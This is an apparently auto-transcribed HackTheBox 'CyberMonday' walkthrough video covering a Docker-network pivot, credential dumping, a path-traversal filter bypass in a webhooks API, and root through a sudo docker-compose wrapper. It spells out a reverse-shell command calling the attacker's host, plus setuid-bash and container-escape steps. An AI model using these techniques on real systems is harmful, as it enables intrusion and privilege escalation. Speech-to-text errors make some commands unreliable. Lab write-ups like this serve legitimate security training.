Dorking right so if we went to site and put this URL get rid of migrate so we're only going to look for things that have this and maybe it's some n URL not site and then we can just say host port and double quotes go to Google and this will show us all the commands uh we have one emitted result and that's because um I think replica of was emitted or a slave of slave of um this was a deprecated function if we went here and it was replaced by replica of probably because of just the name right the whole like it thing has moved away from that slave and Master terminology it's replaced with replica and this but these are the commands that are able to um have reddis make connection to someone else right and the replica of would be a great thing however or failover but both of these require um editing the reddis config to put things

HackTheBox - CyberMonday


in a cluster so that wouldn't work right but this is just how like I would find one command and how I pivot using the information in that command to search documentation for everything else isn't useful here but I'm sure if you take note of this it will probably come use for you when you try to pillage other documentation right so um now with that being said let's finally go and enumerate the shell we have on this Docker container and I start with the same thing I word whenever I land on a web server and that is pillage the um database so if I do a cat. EnV this is the same file that we got with the redus or not redus the um engine X off by slash thing at the beginning but we can see the DB is called DB it's on Port 3306 we can also dump all the redus keys with redus CLI so um let's see ping DB

HackTheBox - CyberMonday


oh we don't have that we could probably curl it right uh failed to connect to Port 80 336 so we can access it we probably don't have like any my client so we can either like upload tools to the box or just um do a reverse proxy and the reverse proxy is probably going to be the easier route so let's make a directory dub dub dub I add an extra W there but doesn't matter and copy chisel over to it right so op chisel chisel here Python 3 HTP server and then let's go to Dev shm w get it uh we can curl it since W gets not there and while that goes let's chod plus X chisel so we can execute it we want to do server um then the flags let's see I think it's like D- reverse D- Sox 5 that's what I want to do uh we have to specify the port let's do- P we on 80001 okay we have the server up same thing here chod plus X chisel try to

HackTheBox - CyberMonday


execute it permission denied that's probably because um Dev shm is mounted with no exec if I do this we see shm no exact I don't see/ temp in here so we can just copy um chisel to Temp and then do the same chod command and we should be able to execute chisel so now we can do client and then 10 10 148 801 and I think it is capital r Soxs right we see it connected back and we have a sock by proxy open on Port 1080 so I cat Etsy proxy chains we see sock 5 is configured so that should mean I can do like proxy chains uh MySQL I know I have MySQL client right uh myql it's just this I think so proxy chains that um I think it's- Capital H DB lowercase H DB it's doing a DNS request let's see pseudo V Etsy proxy chains see is there a way to proxy DNS we have it set so huh we have to figure out exactly

HackTheBox - CyberMonday


what the uh database IP is uh that's the wrong pain um can control Z background that probably still works uh C Etsy host where 172 1806 probably we are um see C- VDB 1721 1804 is the database 17284 let trying to connect to it we may have to foreground this okay denied for user ipac we can do root and the password was root as well and now show databases um use Cyber Monday oh we have the web hooks API database as well uh show tables select star from users and we have the users we created and then admin so let's copy this and v um cs. text we can say admin this I'll do admin uncore Cyber Monday just for my notes right the username doesn't matter my notes there because if we do show databases we can say use web hooks API show t tables select star from users and we also get admins hash here so we can try cracking this so let's go

HackTheBox - CyberMonday


admin uncore web hooks paste this in save it and let's see is there anything else we want to do um I think we wanted to look at the reddis CLI so let's go back here um let's see curl was it just redis 6379 DV um that is going to be 0.7 it looks like was that RP first name- I or 06 okay foreground the Chisel and we can do reddis CLI how do we do host um options CMD so Dash so DH 17280 what was it s okay that is foregrounded put a proxy chains and we can do key star and we don't really have anything um this is I think our larel session we could do get on this and just see um um that is yeah our low roll session we did that we created all these keys so there's no extra redus keys so at this point we know of I guess three Hearst we have the web server we have the database we have the redus there's also a fourth host the like web hook thing but the

HackTheBox - CyberMonday


redus IP was on 7 and we have four five if you include the host so there's two IPS we don't exactly know that are probably online in the docker container so um before we enumerate those I always like starting some work in the background and now is a good time as ever to start cracking the two hashes we just got I don't think it's going to be beneficial but again always want to put um something going on in the background so let's do vhes cyber monday cat the creds we got I probably should have named that file hashes texto well um naming conventions is not something I am good at um so we can do slash cat then specify the hashes opt wordlist Rock you. text and we also want to specify the username flag because that's how we have it and let's see if it autod detects anything and while we're waiting on that if you don't know what the Kraken is it's just a separate box on my

HackTheBox - CyberMonday


network right uh because you should never really crack hashes on your main rig because it's going to make your computer go slow or at least if you do it on it don't do it in a VM the main reason I'm not using my computer to crack because I'm also recording and that could lead to drop frames and things like that so um it looks like the hash matched a few things this one is the most similar I believe so I'll manually specify that mode and this will take a while because bcrypt is a very slow algorithm to crack um so we want to try to Pivot and enumerate other things right so if I did a curl on 17280 uh 7 was Rus right um eight yeah seven was Rus I'm looking for a way to get the host name right I was hoping like curl would show us is there like NS lookup it's not on this box uh dig not on this box I don't know a good way to show the host I guess we could do like

HackTheBox - CyberMonday


cat uh Pro net won't show us the host but we can see the IPS eight resolves to a null uh Mac address because it doesn't exist so we do know it goes up to that we've talked to most of these host but again not giving us any host names so um let's see we did C that didn't work not sure what else to try so let us just do static end map and do it the oldfashioned way right we could end map through the Chisel proxy but anyone that's ever tried end mapping through a proxy it it doesn't work that well so um always good to just grab the static binary and do it this way I may even have this on my op directory but just in case I don't let's do it this way uh move not that um what was the file name just end map okay sod plus X and map go back here W get 10 10 for or we don't have W get Curl 10 1048 8000 n m-

HackTheBox - CyberMonday


o n map um start the web server chod plus X and map and then we can do 17218 um what's your IP first name- I yeah and map 17218 0 0 slash we'll do 24 um Min rate let's set it for 1,00 endm let's see unable to find and map services to like a scan method there we go um I should also add like a-v and then let's say D- open so it'll show us things as it finds it um maybe I should have only done host Discovery this is going a bit long than I expected okay well never mind um so we have engine X on 02 the registry on 03 DB 04 API 05 ourselves on 06 redus on 07 the registry I don't know exactly what that is that's the one that stands out to me right now and the um fact it says registry and we're Docker I'm guessing it's a Docker registry right so let us um specify db- to scan all ports um see can we do

HackTheBox - CyberMonday


this do we have to do like A- PN no what are we missing what is the actual error unable to find end map services resorting to Etsy Services I'm not sure exactly why it errors when I say like a full port scan this error makes sense if we just want to do like the top ports but we didn't um it didn't um error when we did Ashen because that ignores like all um the port scanning afterwards it's just host Discovery so um let's see we can either probably copy your nmap services from herbox or if we just do touch end map Services hey it works um so I'm going to add a Min rate is equal to 10,000 because I want to go fast I wouldn't recommend making that a habit because sometimes when you go fast you kick things over but at 10,000 packets per second it should be finishing in probably another uh 5 4 3 2 1 is it done no it is not um

HackTheBox - CyberMonday


that Dash Capital PN flag is probably What's um taking so long I think that is disabling the use of ping I've use that because I'm not running as route so that's generally my first go-to when end map's not working and I'm not able to run it with pseudo route or the capability I do the- Capital PN and we see one port is open and that is 5000 so if we do curl 17283 on Port 5000 uh do a-v we can see something but I guess the best thing to do would be to examine what that is on our box so let's go and set our proxy up to use socks 5 and if you want to see my foxy proxy config it's just saying socks 5 1080 right so now I should be able to do 172 1803 Port 5000 that's what we said right 183 5,000 that is indeed uh oh we have to for ground I should have just done two reverse shells so I didn't have to keep doing this like foreground

HackTheBox - CyberMonday


nonsense but we don't really have anything right so let's see the cracking is still going um I guess we could run chisel not chisel um gobster and probably want to copy Go Buster over to the Box because again uh I'm going have to copy gobster and the wordless probably but doing gobster through the proxy could be slow right so that's why I'm going to copy them both so we can CP um opt secist Discovery web content raft small words. text here and let's do Python 3 HTTP server and then curl 10148 8,000 gobster o Go Buster and then I want to just copy this file curl 10 1048 8000 okay chod plus X Go Buster and we can say directory mode URL 17283 word list is that and we forgot to oh man uh our terminal is all wacky so let us do st- a rows 28 columns 110 stty rows 28 colums 110 there we go that fixed that issue

HackTheBox - CyberMonday


5,000 HTTP and there we go we have a v 2 directory so if I go into slv2 we have to foreground our chisel proxy we just have blank Json we did a cur uh 17283 5000 v2- v um we can see it is a docka distribution um API so this is a doca registry definitely so I'm just going to foreground this and then we will work with it um just because I know Docker um if I didn't I would be looking up going to Google and like saying what is a Docker registry and things like that right but let's just skip that whole part and curl the catalog so we'll say curl HTTP 17283 Port 5000 V2 uncore catalog and again oh I did do the foreground I forgot to do a proxy chain here though and we could also pipe that over to JQ we'd probably have to do q-s I'm guessing because proxy chains is in uh verse mode so it shows that cuz JQ

HackTheBox - CyberMonday


should have grabbed that right um let's see pseudo V Etsy proxy chains how can we turn that off random chain we'll turn qu mode on we still get that huh I don't know why JQ is not working there but maybe we can just do Echo this JQ Dot there we go um so there is the Cyber mondore API repository um let's see catalog is say like a tags let's see so that was the catalog see Docker list images on a registry catalog let's turn or proxy off there we go I thought I knew this uh V1 search so we got catalog RIS Ubuntu uh this tags so V2 then Cyber Monday API we need list there we go so that is a Docker image on this registry cyber M day API so let's just do a Docker poll so proxy chains um Docker pole I think we can specify the registry and then Cyber Monday API let's see Docker pole H see what is the command to pull from a remote

HackTheBox - CyberMonday


registry Docker pole remote registry I wonder if it was on this page and I just did not keep reading I know we've done it before in a box if you went to ic. rocks I'm sure it would have it like that invalid format there we go so I think it is going to pull says it's using the tag latest that looks to be fine it's just going incredibly slow uh let's see it's doing https and we did htttp right since we couldn't specify HTTP and it takes a long time I'm going to guess this is a proxy chains issue um Docker is coded in goang go generally doesn't like proxy chains so um we could either see if there is a um socks command and Docker let's see Docker socks pole and not use proxy chains let's see here it is um and they're doing a local port forward which is the second thing I was going to say oh no um let see oh they

HackTheBox - CyberMonday


configure the docker service with a proxy what if we just do HTTP proxy let's try this real quick it may obey environment variables maybe not uh we are listenting on 1080 let's see I I don't think that's going to work um I'm sure if we configured the service like they said it would but we could also um let's see run that chisel again so if we do chisel client 10 1048 80001 let's listen on Port 5000 direct it to 17283 to 5,000 okay and that did not work let's see what is that syntax do we do R like that okay so now grab 5,000 okay so now chisel's listening on 5,000 on my box anything I send to it will go through it and um end up on that that other side so we can go back to this Docker pole and instead of saying 17283 we just say 1271 and there we go it is pulling so again the whole reason that doesn't work

HackTheBox - CyberMonday


is um proxy chain works by I think LD preload um which works on um doesn't work on statically compiled binaries which go Ling is so proxy chains can't ENT intercept the request for network and can't just put the proxy on it right but if we just create a socket and arm machine avoid the proxy all together it just magically works so now that we have this we should be able to do a Docker Run next and run the image uh we could also probably just manly look through the image um I'm much better at just running the image than executing bash on it to go in it there's a lot of ways we could do it but I think if we just did do run like this with bash Docker PS Docker exact D it9 bab sh there we go we're in this image so this is going to be the source code to oh no this is the redus um whoops that is not what I wanted uh we probably

HackTheBox - CyberMonday


have to say- maybe I think that puts us in a interactive terminal there we go so now we're in the web hooks um config right so if we went all the way back the web hooks API this is the um source code we're now looking at so let's see we can probably copy that outside of this so M API CD API uh Docker I'm just going to kill this um hashcat so we can do Docker CP 941 a and then we want to go ver dubdub duub HTML to our current directory uh can we SP specify recursive let's see do we have tar we do uh tap tar CJ VF um Source a uh tar bz2 Ford HTML there's probably a better way to copy that Dev source bz2 uh no container path tap there we go oh why do I have one of those things worked I could have swore I did LS HTML and it did not work maybe i c HTML and thought I was doing LS um okay we have the source so

HackTheBox - CyberMonday


if we cat config.php um dbhost DB name DB user DB pass is it like a EnV file um let's see there does not appear to be so let's see I guess we can remove this for dubd HTML there is not so how I'm guessing is when they run the docker on the server they pass in the environment variable which is a good way to do it is there anything in Keys uh this is probably the key to sign that JWT which um we used the algorithm confusion attack so did not need to do that I'm just going to open this up and visual Studio code and we can take a look at the source code so let's wait for sneak to finish so this will help us identify if there's any um low hanging fruit vulnerabilities in this code and now that sneak is done we have a few open source security vulnerabilities U it looks like the JWT package has an

HackTheBox - CyberMonday


issue as well as the PHP SEC lib so if this was production we definitely need to update those the thing I mainly curious in is um I wonder the code quality is oh um not sure exactly what that's saying is never executed because it appears after return 129 oh we got a return here and then a second return um so this function or this piece of the code will never return so it's just highlighting that out um it kind of was hidden because I was focused on this return not the one up here so that's a pretty cool finding I guess but let's go look at the um code security ones so use of broken a risky um crypto it's calling out using ECB um these I normally um skip over crypto findings first because they're generally hard to exploit so we got a law controller one and this is path traversal so let's take a look at this

HackTheBox - CyberMonday


function that's highlighting this is the web hook action for logs and the list was saying we can do pth reversal here as well as read because eventually it does a file get contents and sneak did not like this which looks like it is the filtering in place so let's step through this the first thing it's going to do is look for anything with two periods and if it does it's going to say this log does not exist so we can't do two periods then the next line is going to replace every space with nothing so what this means is if our log was Slash do do space slash or slash dot like that if we had any um semblance of a space in between these dot dots then it would remove that space and we'd get back to this and that's after this check is finished so um we bypass that filter right this replace probably should be at the top but because it's not at the top then we can um make this replace create a

HackTheBox - CyberMonday


directory traversal so that's why we'll put spaces in the f future looking at this we have um it checking to make sure log is in the name and then making sure the file exists so this looks relatively straightforward to exploit we have to get to a hook that has the log method right I think we just did a get on web hooks let's see that is a post I said a get let's just change request method there we go so this is create log file um we want to execute read how do we do that is there like a read log file actions list read let's see web hook find action this data action see where do we create one ah my burp froze okay so this is where we can create right if we send this request uh Pur not found why did that not work let's see to create a web hook we send a request to web hooks create okay so let's go here and we really got to name our

HackTheBox - CyberMonday


tabs this will be called create web hook already exist so we'll call this read and our action can we just do read here let's see so I guess we want to do the create log file we have this web hook say we want to do log name and let's do VAR log messages um log content stuff so we can create wonder if we'd specify actions let's see actions read that's not it what is this code telling me let's go back to the routes and oh we have web hooks uid logs so let's add a slash logs here and we get unauthorized aren't we admin uh let's see Json web token we're still admin let's go back here let's see we do API Keo so it looks like there may be a hardcoded API key let's see put that there see how does this work X API key so we can leave our access token and there's an X API key there we go so action not

HackTheBox - CyberMonday


defined and let's see so now I think we're where we think we are so we're at read how do we get log name so log path uh web hook find name this data log name so I think log name is it can we do like ver log messages here action is not defined it is messages what did I just have oh it's probably because that's invalid Json there we go so we ended the Json with the comma so that was the issue R log messages does not exist um what is Enver log maybe CIS log does that work do we have a shell here LS bar log uh maybe for log D package. log maybe so let's just try that log doesn't exist okay well let's try the directory traversal so what's probably happening is oh our log path is here so we're not going in for our logs so what we want to do is make sure this log path goes with a bunch of dot dot slashes

HackTheBox - CyberMonday


right so we'll do do do space slash a few of those and we have to add the space because remember later on uh we filter for slash do do slash and later on we remove spaces so we have that now does it work it does so now we can read files um let's do proc self Environ oh uh we need log to exist right so we can just do um log and then go up a directory log doesn't exist let's see CMD line let's see Fox off CMD line definitely should exist let's see I think we're triggering on this one and maybe I don't understand what ST POS does find the position of the first occurrence of a case insensitive substring in a string so that is just checking for the string um I get back to where I can read a log file okay so now that we can read a log let's see can we do a like that we can there we go I'm not sure what was going on before if I get rid of ver

HackTheBox - CyberMonday


log okay so I know what happened if you specify a directory in the traversal that doesn't exist like I was thinking um this it would just like be smart enough to go up up um up hit log go back down right or up I should say but it's not it goes it tries to Traverse it says log doesn't exist and fails here so when I put a ver log it doesn't fail because this directory does exist right so it goes up all the directories hit the ver log okay then we go um back back up so we can hit proc self and and the whole reason I want to do that is so we can look at um the environment variables so let's copy this and then we can go back to our terminal Echo dasn JQ Dot and wonder if we do a raw I wish that would print a bit better let's see I wonder Let's see we can do message raw and looks like we can separate that with a line

HackTheBox - CyberMonday


break does that work that is just worse let's copy this Vim okay so host name let's just do it the oldfashioned way till we see things that stick out there's got to be a better way to do this so one thing that sticks out right now is is we have a different database password and that database password is this right on the other web server we just use root for the database password but this is using a weird string um we don't have any username other than admin um we could try let's see SSH admin at 1010 11228 copying this over here and we get password denied I don't think I saw anything in the database that had other names and the sessions isn't pointing me away in reddis so uh one thing we could potentially do if I can remember which terminal it was is start looking at this container again um in the EnV file it did say something

HackTheBox - CyberMonday


about the change log was in Mount uh we can just show that again that's here um change log path Mount Chang log. text so if we look at Mount we do have the change log and that's where the user flag is as well so don't see any names here we do LS logs oh this is where we could um write the file right this is what we um had been doing with the hook one of these is going to be like stuff for something right remember the web hook to create files we finally figure out how it works um but there was a SSH directory if we go in that it's just authorized keys but it does leak the username John so if we do SSH John admin or sh John at the Cyber Monday host and then grab the database password try it and we get logged in as John and we can see this is probably the/ Mount directory because we have change log logs and user. text right

HackTheBox - CyberMonday


that's the same thing we saw at in Mount in that Docker container the first thing I do whenever looking for prives is just do A-L and we can see John may run this secure composed python file as root so let's take a look at this uh let's do V I guess I wish I had syntax highlighting um let's just C it oh shoot uh copy mode grab this has a lot of stuff to go over I am not looking forward to that okay V secure compose Pi paste there we go so let's just look at Main so we give it a yl file um and Docker compos is just a way to build Docker services so it's going to create the directory it's going to run Docker compose up build on it so let's see create random copy CH dur I'm guessing each of these functions is going to be some type of Sanity check on the ammo file so get user not really that interesting is path inside weight

HackTheBox - CyberMonday


list so we want to look at exactly where this function is um and it looks like it is used in this check white list so these two things are tied and check white list is going to look at the volumes and make sure the volumes is part of the white list so is path inside it looks like um what this is doing is just allowing us to have a volume that's specified at slome and or username so that's why um let's see that mount is here right at slome John what that's preventing us to do is like say the volume is just slash if the volume is just slash then we can access the root OS right it's trying to jail us into only allowing the um um partition to be um in the home directory it's also got a check to read only so that's going to say it's going to allow SL Mount to only be readon and that's trying to prevent us from like if we had root on the docker container to drop a set uid binary then execute it on

HackTheBox - CyberMonday


the host Opera system um there is probably a way around this because we can just mount it read only and then once we're in the dock container if we're root we can remount it to be read right as long as we have the capability right um check no privilege no sim links and Main so there's a few things we could do we can either like do a capability insert a kernel module and work that way which we've done in another video I forget what it is but I'm sure like um let's see hips. rocks um docker k no um module uploading a malicious drop no uh let's see kernel module probably monitors inserting the kernel module and getting root on the box it's probably one of these um it sounds like we did that in monitors so I'm not going to do that again instead uh let's try going a few different ways right so the first one the obvious one it's only checking volume

HackTheBox - CyberMonday


and if we went to the docker compos file documentation let's see if this gets me there right away overview is this it is so um they have a lot of checking around the volumes but there is devices so instead of passing the volume we could probably just pass Dev sda1 in or whatever the raw device is so let's try that um the first thing to do is we have to create a sample Docker file does this give a good sample um let's go to the top of the page um kind of let's just copy this V uh let's do pseudo- L again okay we can specify any yaml so we'll do malicious. yaml paste that in and then we can declare what we want to do so we can leave the service so web app and then we want to give it the image this container is and this is the image that was on the registry that we had downloaded right we know this image exists on the box so we

HackTheBox - CyberMonday


do it um in most things historically we've always used Alpine because that's a small image that's generally on the box but in this case we know cyber mondore API was in the dockor registry so the next thing to do would be uh we can set the command we want to be ran when it builds so we can do bash Das C then bash I can type bash dasi Dev TCP 1010 148 9,10 and one like that okay and then we can pass in the device so if we do devices and then Dev SDA 1 Dev sda1 uh we can make sure um the device exist which it does uh we have to run the pseudo password again let's see um let's grab this paste there we go so now when we run this um we should be able to get a shell to the box and that container will be mounted we don't is it as simple as we have an old version of Docker I'm just going to remove the dot8 there we go that was it um so if we

HackTheBox - CyberMonday


do LS Dev we can see sda1 is here uh you generally don't want to mount the same disc twice because if you do bad things will happen right so probably the best thing to do here would be um if we have debug FS which we probably do it's on a lot of things we do to use that um so let's export term is equal to X term uh script sc- Q Dev shm uh script DQ Dev null raw minus Echo foreground sport term X term there we what why can't we not clear the screen reset let's try that again shoot reset and see lvmp 901 I don't like read only file system did we screw something up I think we H the box I don't know what we did but we did something that was not good uhoh I may have to revert what the heck did I run I just did like a witch debug FS I didn't even touch the fall system well that's not great but I'm going to copy this we're going to revert the box

HackTheBox - CyberMonday


and um try it again so yep going to pause the video and revert okay the box has been reverted so let's try this again and if it doesn't work um we'll move to the other way we could do it uh we're do birthways anyways but I did not think this would be that uh dangerous and this goes to show even though you think something may be safe um when you do things in production on pen testing things can go very bad very very quickly I'm just thankful this happened in a lab environment and not production I forgot to stand that up there we go so what we did was a script DQ say don't bother logging things um stty raw minus Echo foreground export term is equal to X term if I was in bash I could clear the screen okay that was it so now a proper terminal we have Dev SDA 1 um you don't want to mount Dev SDA one twice because bad things happen as we

HackTheBox - CyberMonday


kind of saw um but there is debug FS so we can do this um if we spell debug FS correctly and we want to probably do our stty again 28 rows columns 110 stty rows 28 calls 110 that may make this output better not really uh we can see all the directories so we could go cd/ root LS and we can cat root. text and get the flag there um there wasn't a SSH directory we can probably make dir.

HackTheBox - CyberMonday


SSH uh file system open read only CE to quit uh we can do a-w to open this and right and bad things are probably going to happen but let's just do it live uh we want to get a SSH key on this box um let's see s key gen-f Cyber Monday cat saber monday.

HackTheBox - CyberMonday


Pub grab this this V key.

HackTheBox - CyberMonday


Pub Echo this to authorize Keys okay we have the file owner disk so let's go back to debug FS open this in right mode and pray we don't kill the Box uh let's go cd/ root sh is not there we can make d. SS H go in it and then we can say write the contents of Slash authorize keys to authorize keys so it created that node and we have that key on the box the issue probably is going to be um permissions sh- I Cyber Monday root at 10 10 11228 yeah so we do LS uh CD root SSH LS oh it does not exist maybe we want to do the full path file already exist Q go back in it um bad things just happened I think so that's probably not how you write a file and let's see is the file system Port it is not um dare we try this again see debug FS Dev oh we probably want to fix our terminal um script Q Dev null stty raw Echo

HackTheBox - CyberMonday


foreground bash export term X term okay debug fsw Dev sda1 we're back in business um CD root SSH we do have an authorized key file our key is there can't use it I'm going to guess it is permission related um let's see is there a CH mod I don't know how to change permissions uh let's see debug FS change permission of file if this doesn't work we're just going to move to the next way right because we've proven we could get root. text we could probably write a file if we tried hard enough but this is not working well trying to use Mi that does not seem to work um is there La authorized key 644 don't know what Mi is uh 01600 U ID zero group ID zero size that's fine we're setting all the stuff on this file I don't know what I'm doing but it now looks like it's modded 600 so try it again still can't a u t h o r

HackTheBox - CyberMonday


i z e d keys so there may be something preventing um root from executing this um I guess we could write bin bash to Temp Bash and then Mi temp bash and we want to change this mode to be uh set uid so what would be a set uid permission um let's see let's just do Mi on user bin p ping cuz ping is generally set u ID 01 755 that's not good let's just double check our thought that ping with set u ID before we move on uh let's see access it is not uh find- perm minus 4755 Devol isn't that a Linux list set u ID binaries Das per minus 4,000 helps if we don't mute all our errors so this should show us a set u ID binary let's just look at user bin Su 01 so I don't know what the 010 is but 4755 we could have guessed that so let's do the dangerous thing and try setting bash so mi temp bash set the new

HackTheBox - CyberMonday


mode and hit enter a bunch then we can quit we do temp there is a bash it is set u ID temp bash DP and wrong version of bash I'm guessing it ran the bash that was in the docker container not the one that was um on the system which is annoying so let's see python 3M let's CP Ben bash to Dev shm let's copy this bash C 17281 8000 bash d o bash okay let's move bash to slash and we're going to try this again so we can write um SL bash to temp bash two if we go to Temp there is a bash two so now we can do Mi temp bash two set the mode and hit enter for all these there's probably a way to just say accept defaults uh cannot access Bash 2 bad message okay once we exited um the debug FS that went away and we are now successfully root um something odd is on that SSH directory I don't know what it is but

HackTheBox - CyberMonday


that's why the authorized key did not work um that make dur command was not safe to run apparently if we do stat. SSH uh I have no idea CH own root root S that thing is clobbered um so that's why we could add the key apparently make dur was the wrong command to run but that is one way we could rot this right let's do another way um we're definitely feeling bold right now to do two Roots but let's go back to John V malicious yl and let's see we wanted to do the mount and remember we have to specify the mount to be home John and it also has to be read only those were the two key things in the um file so let's specify oh shoot is there disre only again that did not look good touch T hey we went to read only so I'll revert the box and then we'll do it again and hopefully the second way is a safer way um so what we learned here

HackTheBox - CyberMonday


never use debug FS to touch the file system it's a bad idea so reverting the Box we'll be back in a minute okay so I have rebooted the machine and just kind of restored it to how we would expect it um we're doing everything with the devices directive we can do volumes and then we have to specify someone that begins with home so we can do home John and we can mount to um SL Mount and we can also make this read only and we can't do read right because um the secure compos thing requires read only on this Mount so the other thing we're going to have to do is give us all the capabilities because by default a regular Docker won't be able to change it I forget exactly what capability we need but I mean when in doubt give it all right so let's do a um do I have the password Here I do let me just Echo it so it's somewhere I should probably put that in like the creds file so we can do pseudo- L put

HackTheBox - CyberMonday


the password in pseudo opt secure compose malicious yo let's not forget a reverse shell run this and we have it if we go to SL Mount we have the home directory of John now it is read on only if we try to touch it we can't it says read only we can do m- o remount rw/ Mount and we still have something it says it is right protected and this could be an app armor thing it probably most likely is so I'm going to exit this and we can also tell um Docker to add the app armor policy and I don't have a good way to troubleshoot exactly how you would know this other than if you've played with like Docker in the past and tried to do things it's probably on the documentation page as well um I think the volumes or the devices is an easier way to do it also if you do the capabilities and try to insert a kernel module you'll probably run into this issue as well we can just do um app

HackTheBox - CyberMonday


armor unconfined to add that policy and then when we we run this again it is started let's do amount d o remount or W on Mount and it suddenly works right so now if we go in John's directory um we can just copy bash there so I'm going to CP bin bash to my home directory so if I do LS we see bash is there we can chod 4755 or probably CH own root root to bash so if I do a ls- we can see bash is owned by John CH own it's now owned by root chod 4755 on bash we look at this and it suddenly set uid and we can execute it we can't do the root directory and add an SSH key again because the um secure compose had that checkin right it wanted when we did a mount to make sure um there was a home and then it used get user to get the who was mounting it right so we can't do like any directory Traverse of specifying

HackTheBox - CyberMonday


home dot dot slash whatever um because uh it's this environment variable so if for some reason we could poison PSE sudore user then we could make that username do do/ root so it would be Whit list home do do root and it would work but there's no way for us to poison that envir variable to my knowledge so that's why it doesn't work but that is going to be the Box hope you guys enjoyed it take care and I will see you all next time

HackTheBox - CyberMonday